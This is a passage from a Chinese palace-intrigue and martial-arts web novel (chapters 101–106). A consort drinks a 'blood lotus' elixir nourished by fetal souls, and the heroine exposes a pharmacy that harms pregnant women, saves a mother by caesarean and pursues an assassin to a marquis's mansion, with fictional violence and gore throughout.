如今宫中大小祭祀、祈福之事皆由其主持,朝堂政务也常向他问计。 圣上对他礼遇有加,特许国师府可直通禁宫,更赐予 "护国真人" 的尊号,一时风头无两。 此刻,国师忽然睁开双眼,浑浊的瞳孔中闪过一丝幽光。 他望向殿外浓重的夜色,苍老的嘴角勾起一抹意味深长的笑意。 他等候的贵客,也该到了。 夜风裹挟着花香撞开殿门,声响惊得案上烛火剧烈摇晃。 国师抬袖挥散眼前薄雾,便见一抹黑影裹着玄色斗篷悄然而入。 来人手中鲛绡灯笼泛着朦胧暖光,裙边金线绣着的芙蓉花在灯色里若隐若现,摇曳的灯影将周身轮廓勾勒得愈发神秘。 风帽滑落的刹那,暖黄烛火骤然明亮三分。 柔贵妃鬓边珍珠步摇随着动作轻颤,碎钻镶嵌的花钿在额间流转光华,将她眼尾的丹蔻衬得愈发艳丽。 那双杏眼浸着夜色寒凉,却又似藏着两汪春水,苍白的唇瓣轻抿,眉间朱砂痣随着呼吸微微颤动,说不出的楚楚动人又暗含几分急切:"国师久等了。" 柔贵妃解下斗篷便快步上前,指尖攥着灯笼的力道让鲛绡微微发皱,声音里透着按捺不住的急迫:“国师,那血莲可有成熟的?” 殿内烛火摇曳,将她眼下淡淡的青影映得愈发明显,鬓边珍珠步摇随着急促的呼吸轻颤。 国师轻抚银须,浑浊的眼眸中闪过一丝意味深长的笑意:“娘娘天生丽质,便是不用那血莲,这容貌在六宫之中也是艳冠群芳。” 他抬手示意柔贵妃在蒲团落座,鼎炉中升起的青烟裹着诡异的腥甜,袅袅绕过她鬓边的珍珠,“何况圣上对娘娘的宠爱,又岂是外物能左右?” “宠爱?” 柔贵妃冷笑一声,猩红的指甲无意识抠着灯笼边缘,花纹在她手下扭曲变形,“皇上虽宠我,可这宫里年年新进美人,哪个不是鲜嫩水灵?他最是喜新厌旧,我若不能保持最佳状态,只怕随时能被取代。” 她猛地抬头,眼中闪过一丝狠厉,烛光映得她面容白得近乎透明,“国师该明白,在这后宫,色衰便意味着失宠。那血莲能驻颜续命,本宫非它不可。” 国师枯瘦的手指摩挲着龟甲,浑浊眼珠微微转动,长叹一声:“娘娘既然执意如此,老道也只能尽力而为。只是这血莲驻颜续命之术,需以活人气血滋养,逆天改命,他日必定遭天谴反噬……” 话音未落,鼎炉中突然窜起幽蓝火焰,映得满室光影摇曳不定。 柔贵妃从袖中掏出一只七彩嵌宝匣子,打开时,一枚浑圆的夜明珠赫然躺在雪白锦缎上。 珠子有碗口大小,通体莹润,散发着柔和的幽光,竟在烛火中隐隐流转着七彩光晕。 “明月魄?!”国师瞪大了眼睛。 此珠乃先帝当年巡游东海所得,传说此珠吸纳千年月华,能解百毒、镇邪祟,圣上曾亲口说这是宫中至宝。 “国师好眼力,这正是圣上御赐的明月魄。” 柔贵妃指尖抚过夜明珠表面,“此珠集天地灵气,可抵十年阴煞。只要能让本宫永葆青春,他日若有灾祸,本宫定为您建生祠,日日焚香祈福。” 她将匣子轻轻推到案前,夜明珠的光芒照亮国师骤然收紧的瞳孔。 国师盯着那团流转的光晕,苍老的喉结上下滚动。 枯枝般的手指缓缓探向匣子,将夜明珠纳入袖中。 他枯瘦如柴的手指在袖中掐算片刻,沉声道:“娘娘请随我来。” 玄色道袍扫过地面,带起几缕盘旋的青烟。 穿过回廊,推开刻满诡异符文的青铜门,一股混杂着血腥的气息扑面而来。 密室里幽绿烛火明明灭灭,将四壁的驱邪图腾映得影影绰绰。 国师抬手轻触墙上某处凸起,暗门缓缓开启的瞬间,柔贵妃倒抽一口冷气。 中央石台上,十余只黑陶花盆泛着冷光,每盆中都摇曳着一朵血色莲花。 那些莲花或含苞如拳,暗红纹路如血管般缠绕,或微微绽开,殷红花瓣间渗出细密的血珠。 最中央那朵已接近盛开的莲花,花瓣边缘翻卷如婴儿蜷曲的手指,在烛火下泛着诡异的湿润光泽。 “娘娘可知道这些血莲为何能驻颜?” 国师枯槁的手指拂过花盆,浑浊眼珠里闪过一丝阴鸷。 “每朵莲花都以孕妇腹中胎儿的精魄滋养,花苞紧实便是胎儿尚在腹中,待莲花盛放……” 他突然指向那朵即将全开的血莲,“便是足月临盆之时。胎儿血气最是纯净,取其魂魄融入血莲,方能保娘娘容颜永驻。” 柔贵妃盯着石台上诡谲的血莲,呼吸愈发急促,胸脯剧烈起伏。 她猩红的指甲深深掐进掌心,声音却带着不容置疑的急迫:“别废话了,快!立刻开始做法!” 国师微微颔首,从袖中取出一把精巧的银匕首。 月光透过密室缝隙洒在刃上,泛着森冷的光。 他缓步走到那盆即将盛放的血莲前,刀刃轻轻划过花茎,只听 “噗” 的一声轻响,殷红的液体顺着刀刃缓缓滴落。 浓稠如蜜的 “血水” 坠入白玉小碗,不一会儿就积了小半碗,空气中弥漫着令人作呕的腥甜气息。 第102章 回春 失去养分的血莲瞬间失去生机,原本娇艳欲滴的花瓣迅速变得惨白、干瘪,如同被抽干了所有生命力,枯萎在花盆中。 国师将盛满 “血水” 的碗递给柔贵妃,沙哑着嗓子道:“娘娘,请。” 柔贵妃毫不犹豫地接过碗,唇瓣贴上碗沿,将碗中液体一饮而尽。 她抹了抹嘴角残留的血迹,眼中闪过一丝疯狂。 细雨如墨,将青石板路洇得发亮。 慕容浅裹着暗纹灰锦斗篷,素白面纱下隐约透出一抹朱砂痣。 一旁的裴子慕半倚在雕花檀木轮椅上,玄色织金缎面大氅下摆铺陈如墨,苍白修长的手指随意搭在扶手上,腰间羊脂玉坠子折射出冷冽的光。 二人踏入回春堂时,药香混着潮湿的霉味扑面而来。 堂内木梁上悬着的 "悬壶济世" 匾额褪了金漆,药柜前挤着几个衣衫褴褛的百姓。 穿粗布短打的汉子攥着皱巴巴的药方,结结巴巴报着药名,柜台后的伙计却把算盘打得噼里啪啦响,翻着白眼道:"就抓这几味便宜药?让让,别挡着道!" 慕容浅刚要抬步,忽见伙计的态度陡然转变。 那尖嘴猴腮的年轻人哈着腰迎上来,目光在裴子慕华贵的衣料和慕容浅若隐若现的珍珠耳坠上打转,堆起满脸笑纹:"哎哟这位大爷,您和夫人是瞧病抓药?小店今日正巧有名医坐诊,专擅疑难杂症!" 他殷勤地伸手引向西侧厢房,满脸都透着讨好的意味,"楼上雅间清净,保准二位满意!" 慕容浅指尖轻触着药柜上斑驳的漆纹,青铜药斗碰撞发出细碎声响。 裴子慕半倚在檀木轮椅上,苍白修长的手指慢条斯理地摩挲着羊脂玉扳指,忽然嗤笑一声:“听闻你们回春堂药材齐全,我要的千年老山参、深海龙涎香,还有西域进贡的雪魄花,小店可备着?” 他尾音漫不经心地拖长,面容在烛火下泛着冷光。 “哎哟这位爷,您可算问着了!” 伙计露出一口黄牙,眼尾笑出细密褶子,“全京城就数咱们回春堂的药材地道!什么南洋的沉香、漠北的雪莲,要多少有多少!不瞒您说,咱们这店可不寻常……” 他突然压低声音,鬼鬼祟祟地左右张望,粗布衣袖蹭过裴子慕的轮椅扶手。 裴子慕挑眉,“哦?有什么不寻常的?” 伙计搓着手,笑得愈发殷勤:“实不相瞒,咱们东家在宫里有人脉!太医院告老的几位御医,经常会来坐诊,那些达官贵人家,都抢着来瞧……” 慕容浅装作不经意地踱步,裙摆扫过青砖。 她忽然顿住脚步,仰头望着西侧那扇雕花木门。 朱漆匾额上 “安孕阁” 三个大字微微反光,檐角悬着的铜铃无风自动,发出细碎声响。 “这处看着倒是精致。” 她抬手拢了拢面纱,露出腕间的翡翠镯子,“不知是作何用途?寻常药堂,可少见这样的雅间。” 柜台后的伙计原本堆着笑的脸僵了僵,“客官有所不知,这是专为安胎的夫人设的静室,里头请的名医,专擅保产……” 话音未落,前堂突然传来喧哗声,惊得众人齐齐回头。 雨丝斜斜划过回春堂的灯笼,将光晕晕染成朦胧的血色。 一个年轻男子跌跌撞撞冲进门,蓑衣下摆还在往下滴水,怀里横抱着面色惨白的妇人。 那妇人双眼紧闭,鬓发散乱,裙裾上大片暗红血迹正不断洇开,宛如绽放的红梅。 "大夫,快救救我娘子!" 男子声音嘶哑,额头上青筋暴起,膝盖重重磕在青石板上,溅起一片水花。 他怀中的妇人突然发出一声微弱的呜咽,腹部不受控制地抽搐,裙摆下渗出更多鲜血,在地上蜿蜒成细流。 堂内原本此起彼伏的药杵声骤然停了,抓药的伙计手里的算盘 "啪嗒" 掉在柜台上。 他盯着那滩血迹,喉结剧烈滚动两下,突然三步并作两步冲上前,一把扯开安孕阁的布帘:"快!这边!" 厚重的帘子掀起又重重落下,将男子急促的呼救声和妇人压抑的呻吟声隔绝在内。 慕容浅和裴子慕两人对视一眼,默契地交换了个眼色 。 裴子慕转动轮椅,往安孕阁而去。 小伙计却上前拦住,笑意僵在嘴角。 “使不得!使不得啊贵客!” 他眼神飘忽着往内堂瞥去,喉结剧烈滚动,“安孕阁一次只看一位夫人,此刻问诊需清净,还请二位稍候……” 这个理由倒也说得过去,可是小伙计飘忽的眼神却总透着一股心虚。 “不过是瞧个孕妇,为何如此避讳?莫不是……” “哎哟您说笑了!” 伙计猛地后退,后背撞上木门,“贵人金尊玉贵,冲撞了药气可如何是好!” 慕容浅刚要追问,忽听得安孕阁内传来刺耳的瓷器碎裂声。 紧接着,一道凄厉的惨叫刺破雨幕。 那声音尖锐得近乎扭曲,尾音像被人硬生生掐断,只余气若游丝的呜咽。 慕容浅浑身一震,手按剑柄就要往前冲,却见伙计突然转身死死抵住门板,“妇人生产本就怕疼,呼喊也是有的,二位贵客莫要惊扰!” 裴子慕的轮椅碾过,发出细微的吱呀声。 他盯着伙计,盯得他不住颤抖。 屋内突然传来重物坠地的闷响,紧接着压抑的呜咽,像是有人死死咬住帕子,却仍止不住的悲泣,在死寂的药堂里回荡。 一道撕心裂肺的哭喊冲破房门:“不可能!我娘子一直好好的!怎么会……怎么会胎死腹中!” 木门被猛地撞开,先前抱着妻子的年轻男子踉跄着冲出来,发间簪子歪斜,衣襟上还沾着暗红血迹。 他一把揪住伙计的衣领,眼眶通红如血:“我娘子从有孕就在你家抓安胎药!是不是你们换药害人?!” 药柜轰然倾倒,陈皮、茯苓洒了满地。 伙计脸色青紫,翻着白眼挣扎:"反了反了!来人!" 话音未落,话音未落,药堂两侧突然涌出四个黑衣壮汉,腰间佩刀泛着冷光。 为首的汉子一把扯开男子的手,铁钳般的臂膀箍住他的脖颈,“敢在回春堂撒野?活得不耐烦了!” 第103章 铁链 “放开我!放开!” 男子双目赤红如血,拼命挣扎着踢打,溅起满地狼藉,“我娘子还在里面!你们对她做了什么!” 他的嘶吼被壮汉一记重拳闷声打断,踉跄着栽倒在地。 其余三名壮汉立刻上前,铁链哗啦作响,将男子反手捆住。 “拖出去!” 为首壮汉踹了男子一脚,溅起的泥浆甩在慕容浅裙摆上。 男子被拖着后退,指甲在青砖上划出五道血痕,凄厉的哭喊穿透雨幕:“放开我!还我娘子命来……” 话音未落,店门 “哐当” 重重闭合,将所有声响隔绝在内。 雨幕如帘,空荡荡的青石板街上,唯有年轻男子跪在泥泞中号啕。 他的蓑衣早被扯烂,浸透雨水的发丝黏在脸上, 哭喊穿透雨幕:“我要报官!定要让这杀人的黑店血债血偿!” 话音未落,几道黑影从回春堂檐下转出,四名壮汉相互交换了个阴鸷的眼神,腰间环首刀在雨幕中泛着冷光。 “报官?” 为首的壮汉狞笑一声,踏碎水洼逼近,溅起的泥浆甩在男子身上,“恐怕你没那个命爬到官府。” 其余三人呈扇形散开,铁链哗啦作响,将男子退路堵得严严实实。 雨水顺着男子颤抖的脊背滑落,他挺直了脊背,声音带着绝望的嘶哑:“我就不信,天子脚下,还能没有说理的地方!” 为首壮汉冷笑,也不多话,手中铁链直直的本着男子脖颈而来,劲道之大恐怕压根就不想留活口。 “住手!” 几枚钢针射来,击中壮汉的手腕,铁链瞬间掉落在地上,溅起了水花。 裴子慕的轮椅碾过积水,停在壮汉与男子之间,慕容浅替他撑着伞,目露冷光。 “当街行凶,你们眼里还有王法吗?” “王法?老子就是王法!”为首壮汉猛地抽刀,其余三人见状也同时拔刀,寒光映得裴子慕苍白的面容愈发冷冽。 雨幕愈发滂沱,四名壮汉持刀呈扇形围拢,大雨浇注在刀锋上发出刺耳的声响。 慕容浅持伞默默的挡在了裴子慕的轮椅前,为首之人舔了舔嘴角,目光扫过慕容浅纤细的身形,狞笑出声:“小娘子也想插手?” 话音未落,慕容浅手腕轻转,伞骨骤然旋开。 积聚的雨水如离弦之箭激射而出,豆大的水珠精准击打在壮汉们的面门与脖颈。 “啊!” 惨叫声此起彼伏,有人捂着眼睛踉跄后退,持刀的手因刺痛而不住颤抖。 趁乱之际,慕容浅身影如蝶般翩跹掠过。 她素白的广袖翻飞间,软剑如灵蛇出洞,寒光一闪便划过两人手腕。 血珠混着雨水飞溅,环首刀 “当啷” 坠地。 另两人挥刀劈来,她足尖点地旋身而起,软剑如银练般缠住刀刃,借力下压的同时,剑锋顺势削向对方脚腕。 随着两声闷哼,壮汉们膝盖一软,重重跪倒在积水之中。 四道身影狼狈地摔在积水里,环首刀在青石板上滑出刺耳声响。 为首壮汉挣扎着撑起上身,血水混着雨水从指缝间滴落,他死死盯着慕容浅,突然发出癫狂的大笑:“好!好!你们有种!我家东家可是柔贵妃的亲兄弟!不出三日,定叫你们跪在宫门前磕头谢罪,全家老小都得给我陪葬!” 裴子慕指尖轻叩轮椅扶手,螭纹在雨幕中泛着冷光。 他慢条斯理地整理着袖口,苍白的脸上浮起一抹似笑非笑的弧度:“在这京城,还没有我不敢掀的摊子,更没有我不敢动的人。” 话音未落,檐角骤然响起清脆的铜铃声,三道黑影凌空而降。 夜无殇玄色劲装猎猎作响, 冷冽的声音穿透雨幕:“摄政王府亲卫在此,谁敢造次?” 黑衣人脸色骤变,为首者刚要张嘴呼救,夜无殇甩出的软鞭已缠住他脖颈,蟠龙纹令牌在他眼前寒光一闪:“睁大眼,看清楚了!” 蟠龙纹在雷光中乍现,壮汉们脸色瞬间变得煞白,还未挣扎,脖颈已被锁链勒住。 铁链勒进壮汉皮肉的闷响中,年轻男子突然爆发出癫狂的笑声。 他踉跄着扑到为首壮汉面前,沾血的手指狠狠戳向对方:“哈哈哈!你们也有今天!我刚才求你们救我娘子的时候,你们当耳旁风!现在就去给她偿命吧!” 他双目赤红,头发和着雨水、血水贴在脸上,整个人如同厉鬼。 慕容浅快步上前扶住摇摇欲坠的男子,衣袖还在往下滴水:“到底怎么回事?你娘子进安孕阁后发生了什么?” 她话音未落,男子突然抓住她的手腕,力道大得惊人:“他们药有问题!我娘子一直在回春堂抓的安胎药,服了药老是觉得头昏想吐,好不容易坚持到快临盆了,却突然出血昏迷……” 他声音陡然哽咽,喉间发出困兽般的呜咽,“我抱着她进去,他们说要立刻催产,结果不到半柱香!就说孩子没了,说大人也保不住了…… 一尸两命!一尸两命啊!” 年轻男子瘫坐在泥水里,撕心裂肺的哭声混着雨声,令人揪心。 他不住地捶打着地面,指节渗出鲜血也浑然不觉:"娘子,是我害了你啊……" 慕容浅上前一把将他拉起,目光坚定:"带我进去!我倒要看看这回春堂里藏着什么鬼把戏!" 夜无殇等人立刻呈扇形将众人护在中间,长刀出鞘泛着冷光。 年轻男子仿佛重燃斗志,猛地爬起身冲向回春堂,一脚狠狠踹在雕花木门上。 "轰" 的一声巨响,门板应声而碎。 屋内药香混着血腥气扑面而来,正在收拾药匣的伙计脸色骤变,慌忙张开双臂阻拦:“你怎么还敢来?!快滚出去!” 话音未落,男子发了疯似的一头撞去,两人轰然滚落在地。 “给我拿下!” 夜无殇一声令下,王府侍卫如鹰隼般疾掠而入。 侍卫一进门就分作两路,将惊慌失措的伙计们死死按在墙上,腰牌在烛火下泛着冷光:“摄政王府办案,谁敢妄动!” 掌柜的眼珠子一转,借着打翻的药柜作掩护,猫着腰往侧门挪动。 第104章 剖腹 他指尖刚触到门闩,忽觉后领一紧,整个人被凌空拽起。 夜无殇的声音冷得像淬了冰:“老东西,想去哪儿?” 刀鞘重重拍在掌柜背上,疼得他双腿发软瘫在地上。 “放开我!放开!” 被按在药柜上的伙计还在挣扎,却被侍卫反手扣住手腕,疼得直冒冷汗。” “娘子!娘子!” 男子跌跌撞撞爬起身,朝着挂着安孕堂匾额的小屋狂奔。 “我来了!我来救你了……” 木门轰然洞开时,屋内弥漫着浓郁的茶香与刺鼻血腥味。 白胡子老大夫正翘着二郎腿,慢条斯理地吹着茶盏里的浮沫,对榻上昏迷的孕妇视而不见。 女子面色惨白如纸,浸透鲜血的被褥与高高隆起的腹部触目惊心,腕间的银镯在烛光下泛着冷光,却再无半点晃动。 “你们是什么人?!” 茶盏坠地碎裂的声响中,老大夫慌乱起身,雪白的胡须都在颤抖,袍角还沾着几滴茶水,“这是医馆重地,岂容你们撒野!” 年轻男子踉跄着扑到床榻边,颤抖的手悬在妻子苍白的面庞上方,指尖几欲触碰却又猛地缩回,仿佛一碰,这尚存的虚幻希望就会彻底破碎。 他猩红的双眼陡然转向太师椅,三步并作两步冲过去,一把抓起檀木几上还冒着热气的茶盏,狠狠砸向青砖地面。 “叮哐!” 茶盏应声碎裂,碧色茶汤混着锋利的瓷片在地面蜿蜒,宛如一条狰狞的黑蛇。 “你们不是说正在催产,全力救治吗?!” 男子揪住老大夫的衣襟,将他重重抵在墙上。 “我抱着人冲进来时,她还有气!现在却躺在那里一动也不动!” 他突然哽咽得说不出话,喉结剧烈滚动,转头看向床榻上毫无生气的妻子,泪水混着雨水大颗大颗砸落,“你刚才居然还在喝茶!喝得那么悠闲!我娘子的命在你眼里,就比不上一盏茶吗?!” 老大夫身后的屏风上,金线绣着的《麒麟送子图》在摇曳的光影中扭曲变形,仿佛在无声地嘲笑这人间惨剧。 慕容浅足尖轻点,如一抹白影疾掠至床榻边。 她手指轻搭在孕妇腕间,眉头瞬间蹙成川字。 烛火在她眼底明明灭灭,指尖却如寒冰般僵在原处。 腕间脉搏细若游丝,似风中残烛随时会熄。 “胎儿的确已无生机。” 她猛地抬头,看向年轻男子破碎的瞳孔,“但你夫人……尚有一线生机。” 慕容浅攥紧腰间软剑,剑穗在血渍斑斑的被褥上轻轻摇晃,“唯有剖腹取子,或能截断血源,吊住她的命。可刀下稍有差池,便是立即丧命,你……做个决断。” 话未说完,屋内已响起压抑的抽气声。 年轻男子的指甲深深掐进掌心,血珠顺着指缝滴落在青砖缝隙。 他望着妻子毫无血色的脸,突然重重跪坐在地,额头抵着冰凉的床沿:“剖!剖!只要能救我娘子,哪怕用我的命换都行!” 沙哑的嘶吼里,混着压抑不住的呜咽,在弥漫着血腥气的屋内久久回荡。 慕容浅利落抽出袖中软剑,寒光一闪便削断床头悬挂的锦幔。 锦缎如红云般垂落,将床榻围作一方血色帷幕。 “闲杂人等全部退到屋外!”她转身时,发间银簪随动作轻晃,映得眸光冷冽如霜。 裴子慕苍白的脸上浮起一抹冷意,轮椅碾过地上的碎瓷片,发出细碎的声响:“夜无殇,把人犯押到外面。” “诺!” 夜无殇长刀出鞘,寒光逼得众人连连后退。 王府侍卫如潮水般涌出,将回春堂内所有人驱赶到堂外。 裴子慕转动轮椅挡在门前,轮椅两侧机关悄然开启,露出暗藏的弩箭:“把这里围起来,一只苍蝇也不许放出去。若有人敢闯……” 他慢条斯理地转动着羊脂玉扳指,声音冷得像淬了冰,“杀无赦。” 老大夫颤抖的袖子还沾着未干的茶汤,抬眼瞥见轮椅上的裴子慕,曾在宫里任过供奉的他,又怎么会认不出摄政王。 他喉结艰难地滚动,浑浊的眼珠不住扫过裴子慕。 “噗通!” 他的膝盖重重磕在青砖上,震得碎瓷片四溅。 雪白的山羊胡沾着茶汤,整个人抖如筛糠:“摄政王殿下饶命!此事实非老夫所愿……” 话音未落,额头已重重叩在地面,“这妇人送来时,胎儿便没了气息,老夫实在回天乏术啊!” 冷汗顺着他苍老的脖颈滑落,浸透了衣领,想起坊间传闻中这位殿下雷厉风行的手段,他只觉后颈发凉,仿佛已有枷锁扣上。 裴子慕转动轮椅逼近,车轮碾碎瓷片的声响让老大夫浑身战栗。 “回天乏术?” 他俯身时,衣摆扫过老大夫的脸,声音冷得如同腊月寒冰,“你端着茶盏看人命消逝时,倒像是游刃有余。” “王爷饶命!” 老大夫这一声凄厉的哀叫,如同一记重锤砸在众人头顶。 掌柜的双腿一软,瘫坐在满地药材中,几个小伙计面面相觑,脸上血色瞬间褪尽,颤抖着互相搀扶却连站稳都成问题,最终扑通扑通接连跪地。 “王爷饶命!小人什么都不知道啊!” “我们都是听吩咐做事的!求殿下开恩!” 此起彼伏的求饶声在屋内炸开。 裴子慕眉头微蹙,眼中闪过一丝不耐,苍白的手指轻轻叩击轮椅扶手:“聒噪。” 夜无殇心领神会,一挥手,几个侍卫迅速上前。 麻布塞口、绳索捆绑,不过眨眼间,求饶声就变成了含糊不清的呜咽。 裴子慕冷冷扫过这群瘫在地上的人,目光如刀:“看好了,若再发出半点声响,就让他们永远不用开口了。” 空气瞬间凝固,呜咽也都被死死的咽了下去。 裴子慕缓缓转动轮椅,面向紧闭的房门,屏气凝神。 屋内,慕容浅正在争分夺秒,屋外,他坐镇如巍峨高山,不容任何人打扰这份生死一线的寂静。 一个时辰的时间在焦灼中缓缓流逝,紧闭的木门终于发出细微的吱呀声。 慕容浅苍白的面容出现在门后,额前碎发被冷汗浸透,月白色衣襟上还晕染着未干的血渍,整个人似风中残烛般摇摇欲坠。 第105章 丧子 “娘子!” 年轻男子原本失魂落魄地瘫坐在地,此刻却如弹簧般弹起,踉跄着冲到门前,抓住门框的手指因用力过度而泛白,“我娘子怎么样了?求求你,快告诉我!” 慕容浅扶住门框稳住身形,唇角扬起一抹疲惫的笑意:“放心,已从鬼门关抢回来了。” 她抬手擦去额角冷汗,声音沙哑却透着笃定,“只是失血过多,还需两个时辰才能转醒。” 男子喜极而泣,泪水混着泥污在脸上蜿蜒,忽然又想起什么,哽咽着追问:“那孩子……” “是个男孩。”慕容浅转身捧起一方白布包裹的小小襁褓,烛光下,婴孩紧闭的眉眼轮廓清秀。 “生得很漂亮……”她喉头微哽,将襁褓轻轻递过去,“你要看看他最后一眼吗?” 男子听闻妻子平安,枯槁的面容上刚绽出一抹劫后余生的笑,却在慕容浅捧出襁褓的刹那,凝固成破碎的惨白。 烛光摇曳中,那方白布包裹的小小身形刺痛他的双眼,喉头泛起铁锈味,他死死咬住下唇,颤抖着伸手又猛地收回,仿佛触碰便会彻底撕裂心底最后的防线。 “别看…… 别看……” 他喃喃自语,指甲深深掐进掌心,整个人剧烈颤抖如风中残叶。 可最终,那双布满血痕的手还是不受控地伸出去,指尖悬在襁褓上方微微抽搐。 当慕容浅将襁褓轻轻放入他怀中时,他骤然发出一声压抑至极的呜咽,像受伤的困兽般蜷缩着抱紧孩子,温热的泪水大颗大颗砸在白布上:“我的儿……你可知爹娘盼了你整整十个月……” 他颤抖着解开衣襟,将冰冷的襁褓贴紧心口,额头抵着孩子毫无血色的小脸,声音破碎得不成字句:“那日你娘还摸着肚子说,要带你去看花灯……等你会跑了,爹还要亲手教你骑马射箭……” 哽咽突然卡住喉咙,他剧烈咳嗽着,指节因用力而泛白,“是爹没用……是爹没护住你们……” 寂静的屋内,唯有他断断续续的抽泣混着压抑的呢喃,屋外暴雨如注,却冲不散这浸透骨髓的悲怆。 慕容浅死死攥着染血的衣襟,指节因用力而泛白。 眼前男子将冰冷的襁褓贴在心口,喃喃自语的模样,让她想起前一世在战场上见过的、抱着战死幼子不肯放手的妇人。 喉咙突然泛起铁锈味,她抬手想要触碰腰间软剑,却摸到一手温热。 不知何时,泪水已顺着下颌滴落在掌心。 一方绣着银线云纹的帕子突然闯入眼帘。 慕容浅猛地抬头,正对上裴子慕沉静的目光。 烛光映在他苍白的面容上,却将那双墨色眼眸照得发亮。 她这才惊觉自己满脸泪痕,狼狈得像个不谙世事的小丫头。 “王爷……” 慕容浅的指尖还沾着血污,却下意识地抓住那只递来帕子的手,“害人者必严惩?” 她声音发颤,像在确认,又像在祈求。 裴子慕反手握住她微微颤抖的手,掌心的温度透过薄茧传来。 他缓缓收紧力道,将她的手牢牢包裹住,一字一顿道:“害人者,必严惩!” 声如金石,震得屋外跪着的掌柜和伙计浑身一颤。 檐角铜铃突然作响,混着远处闷雷,倒像是这场誓言的应和。 裴子慕掷地有声的承诺如重锤敲在心上,慕容浅眼底浮起冷冽的光。 她反手抽出软剑,寒光掠过之处,烛火都为之一颤。 剑锋直指瘫在地上的掌柜和伙计,剑尖悬在掌柜喉间轻轻晃动:“说!你们背后的东家究竟是谁?” 掌柜额头上豆大的汗珠滚落,连同涕泪糊在脸上,不住磕头求饶:“饶命!小人真不知啊!只听上头吩咐,说此事与宫里柔贵妃的亲眷有关……我们就是跑跑腿、抓抓药,真没害过人啊!” 旁边的伙计们跟着抱头哀号,此起彼伏的求饶声在屋内回荡。 唯有老大夫垂着头,布满皱纹的脸上闪过一丝不自然的僵硬。 他浑浊的眼珠偷偷瞥向门口,喉结不安地上下滚动,干枯的手指无意识地紧抓袖口。 慕容浅捕捉到老大夫眼底那抹转瞬即逝的躲闪,腕间软剑划出凌厉弧度,寒光瞬间抵住对方颤抖的喉结:“见死不救,草菅人命,你也配称医者?” 剑锋轻颤,挑得老人颈间银丝乱舞,“今日不说出幕后主谋,便是大罗金仙也救不得你!” 老大夫浑浊的老眼泛起泪光,布满皱纹的脸涨得紫红,“你……你们莫要逼我……说出来,我就没命了……” 话音未落,慕容浅突然手腕发力,剑尖刺破皮肤,血珠顺着剑刃蜿蜒而下,在青砖上绽开红梅。 “你不说,现在就去见阎罗!” 慕容浅的声音冷如冰窖。 “你们这些人的生死,皆在本王一念之间。” 裴子慕转动轮椅逼近,螭纹在烛光下泛着肃杀的光,他抬手轻抚过腰间刻着王府徽记的令牌,“若等本王亲自动手,可就不止是一条命的事了。” 他的声音冷得像淬了冰:“是想一人担罪留条活路,还是要满门抄斩断子绝孙?” 老大夫的膝盖在青砖上磨出两道血痕,浑浊的眼珠不住瞟向裴子慕,又瞥向慕容浅泛着冷光的剑锋。 喉结剧烈滚动了半晌,他突然伏地叩首,白发扫过沾着血渍的碎瓷:“是……是柔贵妃的兄长,他买通我们在安胎药里动手脚,又让我们……” 话音未落,慕容浅猛地抬手:“宫中贵妃的兄长为何要残害孕妇?说清楚!” 手中剑发出细微响动,直指眉心。 老大夫浑身抖如筛糠,苍老的声音几近崩溃:“那是因为……” 就在他颤抖着要吐出更多秘密时,突然尖锐的破空声响起。 慕容浅瞳孔骤缩,急喝 “小心!” 时,一道寒芒已如鬼魅般穿透雨帘。 一支三寸长的弩箭,精准钉入老大夫喉间,伤口泛出诡异的青黑色,显然涂有剧毒。 老大夫喉间发出含混的呜咽,枯瘦的手指死死捂住不断渗血的伤口,浑浊的眼珠里满是不可置信,指缝间却瞬间涌出黑紫色的血沫。 第106章 广阳侯 剧毒顺着血脉急速蔓延,他扭曲的面容迅速蒙上青灰,眼球凸出,脖颈青筋暴起如蠕动的黑蛇。 他踉跄着向后倒去,临死前最后一眼,定格在屋檐下那个转瞬即逝的黑影上。 不过瞬息间,瘫倒在地的躯体便没了动静,唯有青砖上蜿蜒的黑血还在冒着细小的气泡。 “追!” 慕容浅软剑出鞘,夜无殇的长刀同时劈碎窗棂。 两人如离弦之箭般追出,只见檐角黑影一闪,那人踩着青瓦三起三落,身形快若鬼魅。 刺客回首时,月光映出他面巾下森然的冷笑,袖中机关匣再次迸射毒针,破空声与暴雨交织成危险的旋律。 慕容浅旋身避开暗器,脚尖点过飞檐,衣袂翻飞间甩出绳索。 夜无殇则持刀直取中路,刀锋劈开雨幕,溅起的水花混着血珠飞散。 三人在雨夜里穿梭追逐,所过之处,瓦片纷飞。 雨幕中刀光剑影交错,慕容浅的软剑与夜无殇的长刀将刺客逼得连连后退。 那人且战且退,身形如狡兔般灵活,在巷陌间辗转腾挪。 当三人缠斗至一处朱漆金钉的大宅前,刺客忽觉肋下传来一阵刺痛。 慕容浅的剑锋已划破他的衣衫,留下一道血痕。 “小心!” 夜无殇话音未落,刺客已反手甩出一只黑陶罐。 灰褐色的粉末如烟雾般炸开,所到之处,青石板 "滋滋" 作响,腾起阵阵白烟,瞬间腐蚀出狰狞的孔洞。 慕容浅和夜无殇急退数步,待粉末散尽,却见那刺客已踩着飞檐翻入高墙之内,檐角铜铃摇晃间,只余空荡荡的雨巷。 抬头望去,门楣上高悬的牌匾在雷光中若隐若现。 “广阳侯府” 四个烫金大字刺得人眼生疼。 夜无殇握紧长刀,雨水顺着刀刃滴落:“果然是他……柔贵妃的兄长,广阳侯宋明远的宅邸。” 慕容浅擦拭脸上雨水,目光如炬。 她的足尖刚点上广阳侯府的飞檐,夜无殇已迅猛如鹰隼般横刀拦在身前。 玄色劲装被暴雨浇透,他单膝重重跪地,刀锋斜指青砖溅起的水花:“慕容姑娘!这府中虚实未明,贸然闯入恐遭暗算!” 慕容浅剑锋微颤,溅落的雨水在月光下泛着冷光:“等查明虚实,凶手早逃之夭夭!” 夜无殇抬头时,眼中满是凝重与恳切:“姑娘万金之躯,若有半分闪失,末将便是将性命赔上,也无颜面对王爷!” 他攥紧刀柄的指节泛白,“还请姑娘暂且忍耐,容我禀告王爷后从长计议!” 夜无殇话音未落,暴雨冲刷的青石道上骤然响起闷雷般的马蹄声。 慕容浅转身望去,雨幕深处,八匹玄色骏马踏碎积水疾驰而来,拉着一辆挂着摄政王府标识的马车。 车轮碾过之处,水花飞溅间仿佛绽开一朵朵银莲。 马车两侧,黑衣暗卫身披玄铁锁子甲,腰间绣春刀泛着冷冽的光,刀刃上暗刻的云纹在雷光下若隐若现。 他们身姿如松,面容冷峻,雨滴顺着护额流进面甲缝隙,却无一人抬手擦拭。 整齐划一的脚步声,与暴雨声交织成令人胆寒的节奏。 马车停在广阳侯府门前,裴子慕掀开帘幕,苍白的面容在雨幕中浮现。 